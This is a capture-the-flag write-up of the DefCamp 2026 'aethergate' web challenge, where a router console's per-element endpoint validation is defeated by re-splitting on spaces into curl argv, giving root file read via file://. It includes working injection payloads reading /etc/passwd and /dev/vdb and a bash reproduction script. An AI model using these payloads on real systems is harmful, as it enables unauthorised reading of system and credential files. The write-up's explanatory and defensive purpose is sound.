aethergate

Endpoints are validated per list element but stored space-joined and split again into argv, so one space injects curl options and file:// reads /dev/vdb as root.

2026.09.19 DefCamp CTF 2026 Quals 460 pts Web
FLAG DCTF{cb3fbfc9cbfd932f53b1168adf0591d70ba645738b25fb9551cc20435a86c2e9}

0. In one paragraph

The router console’s telemetry feature hands endpoint URLs to a curl subprocess. URLs are strictly validated against the aethergrid.net domain — but after validation they are re-split on whitespace and expanded into argv. Putting a space inside a URL therefore injects arbitrary curl arguments, and combining that with -o /dev/null binding only to the first URL, plus curl still having the file protocol compiled in, gives arbitrary file read as root. The flag comes straight off /dev/vdb — the 0.6 GB firmware never needs to be unpacked.

1. The challenge

Two things ship: a 0.6 GB aethergate-firmware.img, and a live service instance. The service is an “AetherOS” web console (Flask/Werkzeug) imitating OpenWrt 25.12.5, with screens for editing and committing UCI settings.

$ curl -s http://HOST:PORT/ | grep -o 'href="/[^"]*"' | sort -u
/                                        Dashboard
/monitor                                 Monitoring        <- telemetry heartbeat
/config/network /config/wireless /config/firewall
/config/dhcp /config/system
/backup                                  export / import / factory-reset
/changes                                 commit / revert

To put the conclusion first: the firmware image was never downloaded. Every source file quoted below was read off the target with the arbitrary file read.

2. Attack surface — the telemetry heartbeat

/monitor explains that endpoints must live on the aethergrid.net grid and are rejected on save otherwise. There are two APIs:

POST /monitor/endpoints   {"endpoints": ["https://telemetry.aethergrid.net/heartbeat"]}
POST /monitor/run         -> {"checked": N, "ok": bool, "detail": "..."}

Running run against the default endpoint gives the decisive clue:

{"checked":1,
 "detail":"curl failed: curl: (6) Could not resolve: telemetry.aethergrid.net:443",
 "ok":false}

The error text is curl — so this is a curl subprocess, not a Python HTTP library.

2.1 The domain validation is sound

InputResult
http://127.0.0.1/host ‘127.0.0.1’ is not on the telemetry grid
http://aethergrid.net.evil.com/rejected
http://evil.com/#.aethergrid.netrejected
http://aethergrid.net@127.0.0.1/host ‘127.0.0.1’ … rejected
file:///etc/passwdendpoint must be http(s)

It takes urlparse’s hostname and allows only an exact match or a "." + domain suffix. The usual bypasses are all closed.

3. The bug — re-splitting after validation

/opt/webui/ucilib.py, read off the target, explains everything.

def set_monitor_endpoints(endpoints):
    cleaned = [_validate_endpoint(e) for e in endpoints]
    ...
    # Endpoints are kept as one compact, space-separated option so the whole
    # heartbeat target list round-trips as a single line in a backup.
    uci_ctx.set("aether", "monitor", "endpoint", " ".join(cleaned))

def run_heartbeat():
    endpoints = monitor_endpoints()
    # "Each endpoint has already been through _validate_endpoint(), so it is
    #  a vendor-grid URL; we simply expand the stored target list into argv."
    targets = " ".join(endpoints).split()          # <-- here
    argv = ["curl", "-sS", "--max-time", "5", "-o", "/dev/null",
            "-w", "%{url_effective} %{http_code}\n"] + targets
    out = _run(*argv)

The unit of validation and the unit of execution disagree. Validation runs per list element; storage joins them into one space-separated line; and execution .split()s that line again. A single element containing a space passes validation as one URL and executes as two argv entries. There is no shell=True and no shell metacharacter is involved — but the argv boundary is broken, which is enough to feed curl any option we like.

endpoint = "http://aethergrid.net/ --version"

_validate_endpoint: urlparse(...).hostname == "aethergrid.net"   OK
run_heartbeat     : argv += ["http://aethergrid.net/", "--version"]
{"detail":"curl 8.21.0 (x86_64-openwrt-linux-gnu) libcurl/8.21.0 mbedTLS/3.6.7
Protocols: file ftp ftps http https mqtt mqtts ..."}

Injection confirmed — and file is right there in the protocol list.

4. Escalation — arbitrary file read

Two things combine to make the read work:

  • curl pairs -o with URLs one for one. There is only a single -o /dev/null here, so only the first URL is discarded; from the second URL onward the response body goes straight to stdout. That stdout is handed back in the JSON detail field.
  • Injected arguments never went through validation, so the http/https scheme restriction does not apply to them. file:// works directly.
endpoint = "http://aethergrid.net/ file:///etc/passwd"

-> "detail": "http://aethergrid.net/ 404\n
              root:x:0:0:root:/root:/bin/ash
              daemon:*:1:1:daemon:/var:/bin/false ..."

Checking privileges shows the console runs as root:

file:///proc/self/status   -> Name: curl   Uid: 0 0 0 0
                              CapEff: 000001ffffffffff
file:///proc/self/cmdline  -> curl -sS --max-time 5 -o /dev/null
                              -w %{url_effective} %{http_code}\n <targets>

curl’s file:// also does directory listings, which makes it possible to walk the filesystem directly.

5. Finding the flag

Walking down from the root turns up a suspicious directory immediately.

file:///                  -> bin dev etc lib opt overlay proc root ... www boot
file:///opt/              -> flagreader webui
file:///opt/flagreader/   -> readflag serveflag   (both ELF binaries)
file:///etc/init.d/       -> ... serveflag webui ...

Reading the init script is quicker than reversing the binaries:

# file:///etc/init.d/serveflag
# Remote deployment supplies the real flag as a separate read-only
# virtio device. The public firmware is byte-for-byte identical and
# falls back to the training flag baked into /opt/flag.txt.
if [ -b /dev/vdb ]; then
    dd if=/dev/vdb of=/opt/flag.txt bs=256 count=1 2>/dev/null
fi

The firmware image is a trap. The comment gives it away: the public firmware does not contain the real flag — unpacking 0.6 GB yields only the training dummy. The real flag is attached to the remote instance as a separate read-only virtio device, /dev/vdb.

/opt/flag.txt had already been removed and would not open. But vdb is still in /dev/, and curl is root, so the block device can be read directly:

endpoint = "http://aethergrid.net/ file:///dev/vdb"
-> DCTF{cb3fbfc9cbfd932f53b1168adf0591d70ba645738b25fb9551cc20435a86c2e9}
   (followed by blank padding up to 256 bytes)

6. Reproduction script

#!/bin/bash
# aethergate - arbitrary file read as root via curl argv injection
H=http://HOST:PORT

rf() {   # rf <absolute path> -- print a file or a directory listing
  EP="http://aethergrid.net/ file://$1"
  curl -s -X POST "$H/monitor/endpoints" \
       -H 'Content-Type: application/json' \
       --data-binary "$(python3 -c '
import json,sys; print(json.dumps({"endpoints":[sys.argv[1]]}))' "$EP")" >/dev/null
  curl -s -X POST "$H/monitor/run" | python3 -c '
import sys, json
print(json.load(sys.stdin)["detail"].replace("http://aethergrid.net/ 404\n", ""))'
}

rf /etc/init.d/serveflag
rf /dev/vdb

7. Takeaways

  • If the unit you validate differs from the unit you use, the validation is meaningless. Here it validated list elements, stored a space-joined string, and split it again — with a comment claiming the values were already validated and could simply be expanded.
  • You do not need shell=True. Once the argv boundary is attacker-controlled it is as good as command injection, and the more powerful the tool’s options — curl, tar, rsync, ssh — the worse it gets.
  • curl pairs -o with URLs one for one: one -o and two URLs means the second one leaks to stdout. Output suppression is not a security boundary.
  • A big attachment is not necessarily the solution path. The 0.6 GB firmware was a trap (“public firmware carries a dummy flag”); the real answer was one read of /dev/vdb on the live instance.
  • Read init scripts and config files before reversing. Instead of tearing apart two ELFs, a shell-script comment named the flag’s location outright.
#argv-injection#curl#ssrf#flask